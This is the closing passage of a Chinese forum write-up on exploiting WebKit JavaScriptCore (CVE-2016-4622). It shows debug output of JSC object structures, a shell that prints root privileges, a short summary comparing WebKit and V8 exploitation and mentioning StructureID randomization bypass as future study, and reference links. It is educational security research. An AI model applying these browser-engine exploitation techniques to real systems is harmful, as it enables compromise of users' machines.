    Object: 0x7fffaf4b7380 with butterfly 0x7fe0000c12b8 (Structure 0x7fffaf41e4c0:[Array, {prop:100, prop768:101}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 1086
    Object: 0x7fffaf40c390 with butterfly 0x7fe0000be928 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98
    Object: 0x7fffaf40c3a0 with butterfly 0x7fe0000be928 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
    7fffaf4fe680
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # 
    

    小结

    总的来说webkit 的pwn 和 v8 的思路上差不多,只是两个的内存布局不太一样,要搞清楚还是需要花挺多时间的。最新的webkit 还加上了structure id random 的保护机制,让structure id 变得更加不可预测,后面会学习这个防护的原理以及绕过的思路。

    reference

    http://d1iv3.me/2019/07/06/WebKit-JSC-CVE-2016-4622%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/#4-%E6%89%A7%E8%A1%8Cshellcode

    https://www.anquanke.com/post/id/183805

    http://phrack.org/papers/attacking_javascript_engines.html

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册